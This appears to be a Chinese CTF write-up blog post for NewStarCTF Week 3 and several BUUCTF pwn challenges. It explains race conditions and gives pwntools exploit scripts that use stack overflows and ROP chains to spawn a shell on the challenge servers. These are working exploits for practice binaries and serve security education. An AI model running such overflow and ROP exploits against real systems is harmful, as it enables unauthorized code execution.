首页 > 其他分享 >NewStarCTF WEEK3

NewStarCTF WEEK3

时间:2022-10-13 15:44:25浏览次数:49  
标签:p64 res 线程 竞态 WEEK3 数据 payload NewStarCTF

WEEK3

目录

cat flag

竞态条件和数据竞争

竞态条件:强调的是被操作的资源A在被对象B操作完之后,其结果与预期的结果不一样。此时受影响的对象是被操作的资源A,并不关心操作资源的对象B是否受到此资源的影响。
​ 比如两个线程A和B对一个数据a进行"++a"操作,如果一个线程B是在另一个线程A操作完之后再取到的数据a,则a的最终结果是正确的。如果A的操作还未完成之前,B就取到a的值并对其进行修改,那么a的最终结果与预期不符。这里就竞态条件。
数据竞争:强调的是访问资源B的对象A在访问资源B的时候取到错误的数据而出现错误的结果。此时受影响的对象是操作资源B的对象A,而不关心资源B本身是否是正确的。
​ 比如一个线程A在修改数据a,此时线程B不知道线程A在修改数据a,并在修改还未完成的情况下取到了a的值并进行别的计算,此时B其实取到的就是错误的值,但是数据a本身没有错误。这里就是数据竞争。
​ 由此看来,两者针对的对象并不一样,但是在同样的环境下也可能会有"竞态条件"和"数据竞争"同时出现的情况。

sheep a flag

​ 利用格式化字符串漏洞进行任意写.

read&write

另类ROP写法:利用数组进行rop构造.

利用数组下标越界进行地址泄露和ROP链参数传递.

return to csu

万能gadget的利用进行ROP链的构造.

buu

rip题解

保护+IDA:

image

main:

image

fun:

image

思路

​ 通过gets函数进行栈溢出跳转到fun函数get shell.

exp:

#coding:utf-8
from pwn import*

res = remote('node4.buuoj.cn',29229)
#res = process('./rip')

pop_rdi = 0x4011fb
ret = 0x401016
binsh = 0x40201b
sys_addr = 0x401040

res.recvuntil('input')
payload=b'a' * (0xf + 0x8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(sys_addr)
res.sendline(payload)
res.interactive()

warm_up

保护+IDA:

image

main:

image

sub_40060D:

image

思路

​ 栈溢出到sub_40060D函数.

exp:

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

#res = process('./warm')
res = remote('node4.buuoj.cn',29527)

payload = b'a' * (0x40 + 0x8) + p64(0x40060D)

res.recvuntil('>')
res.sendline(payload)

res.interactive()

ciscn_2019

保护+IDA:

image

main:

image

fun:

image

数据空间:

image

思路

​ 栈溢出到v2处写入11.28125.

​ 找到11.28125的十六进制表达:

image

exp:

from pwn import *

#res = process('./ciscn')
res = remote('node4.buuoj.cn',26620)

payload = b'a' * 44 + p64(0x41348000)
res.sendline(payload)

res.interactive()  

标签:p64,res,线程,竞态,WEEK3,数据,payload,NewStarCTF
From: https://www.cnblogs.com/Lovechan/p/16788341.html

相关文章

  • BUUCTF [NewStarCTF] Week1 WEB NotPHP 详解
    NotPHP<?phperror_reporting(0);highlight_file(__FILE__);if(file_get_contents($_GET['data'])=="WelcometoCTF"){if(md5($_GET['key1'])===md5($_GET['k......
  • NewStarCTF Week3 Blockchain
    前言:最近学了点blockchain,正好NewStarCTF这周上了题,赶紧来练练手,出题人很友好,代码都很简单,适合刚了解区块链的新手入门Checkin先安装Metamask,再去Goerli水龙头领币然后n......
  • NewStarCTF学习笔记-WEEK1
    WEEK1returntotext[text区域]​ 通过向栈上堆砌长度足够且合适的"垃圾信息"改写ret指令指向的地址,执行对应函数​ 注意点:保护,遇上Canary要进行绕过常见的Cana......
  • NewStarCTF2022
    Re艾克体悟题方法1.frida练习一下//a.jsJava.perform(function(){letFlagActivity=Java.use("com.droidlearn.activity_travel.FlagActivity");FlagAc......
  • week3
    title:week3tags:nullcategories:nulldate:2022-08-1312:25:54week31.yum私有仓库的实现及博客输出2.阅读《图解TCP/IP》一书,地址:https://leon-wtf.github.......
  • AcWing秋招每日一题——week3
    1、跳跃游戏题目给你一个整数数组 arr ,你一开始在数组的第一个元素处(下标为0)。每一步,你可以从下标 i 跳到下标 i+1、i-1或者j:i+1需满足:i+1<arr.l......
  • week3
    week31.yum私有仓库的实现及博客输出2.阅读《图解TCP/IP》一书,地址:https://leon-wtf.github.io/doc/%E5%9B%BE%E8%A7%A3TCPIP.pdf,有时间的可以写下读书笔记3.画图TCP......